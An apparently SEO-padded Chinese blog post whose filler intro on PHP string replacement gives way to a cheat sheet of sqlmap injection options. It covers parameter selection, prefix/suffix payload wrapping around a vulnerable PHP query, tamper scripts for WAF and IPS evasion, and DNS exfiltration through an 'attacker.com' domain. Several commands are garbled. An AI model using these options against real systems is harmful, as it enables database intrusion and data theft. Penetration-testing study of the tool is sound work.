前言:
当前各位老铁们对“php替换字符串中的sql参数”大致比较珍视,看官们都需要了解一些“php替换字符串中的sql参数”的相关知识。那么小编同时在网上搜集了一些对于“php替换字符串中的sql参数””的相关知识,希望各位老铁们能喜欢,你们一起来学习一下吧!注入参数介绍-p指定扫描的参数,使--level失效-p "user-agent,referer"
--skip排除指定的扫描参数--level=5 --skip="id,user-agent"
URl注入点
sqlmap -u "*/param2/value2/"
--dbms指定内容,提升工作效率(例如:--dbms="mysql")MySQL<5.0>Oracle<11i>Microsoft SQL server<2005>PostgreSQLMicrosoft AceessSQLite等等
--osLinuxWindows
--invalid-bignum / --invalid-logical通常sqlmap使用负值使参数取值失效 id=12 → id=-13bignum使用大数使参数值失效 id=999999999999Logical使用布尔判断使取值失效 id=13 AND 18=19
--no-cast榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果老版本mysql数据库需要开启此开关
--no-escape出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
SELECT 'foo' → SELECT CHAR(102)+CHAR(111)+CHAR(111)#按照原样子参数发送--prefix / --suffix$query = "SELECT * FROM users WHERE id=('''.$_GET['id'].''')LIMIT 0,1";
sqlmap -u "; -p id --prefix''')" --suffix "AND('abc'='abc''query = "SELECT * FROM users WHERE id=('1')<PAYLOAD>AND ('abc'='abc')LIMIT 0,1";
--tamper混淆脚本,用于绕过应用层过滤、IPS、WAF
sqlmap -u "; tamper="tamper/between.py/???.py" -v 3
检测参数介绍--level1-5级(默认1)/usr/share/sqlmap/xml/payloads 查看不同级别下发送不同的payload
--risk1-4 (默认1 / 无害)Risk升高可造成数据被篡改等风险(update)
--string, --not-string, --regexp, --code, --text-only, --titles页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但是有些页面随时间阈值变化,此时需要认为指定标识真假的字符串;
检测SQL注入存在的技术类型默认使用全部技术B:Boolean-based blindE:Error-basedU:Union query-basedS:Stracked queries(文件系统,操作系统,注册表必须)T:Time-based blind
--time-sec基于时间的注入检测响应延迟时间(默认5秒)
--union-cols默认联合查询1-10列,随--level增加量最多支持50例--onion-cols 6-9
--union-char联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值--union-char 123
--dns-domain攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-domain attacker.com
--second-order在一个页面注入的结果,从另一个页面体现出来
--second-order
指纹信息参数-f, --fingerprint, -b, --banner数据库管理系统指纹信息DBMS,操作系统,架构,补丁
标签: #php替换字符串中的sql参数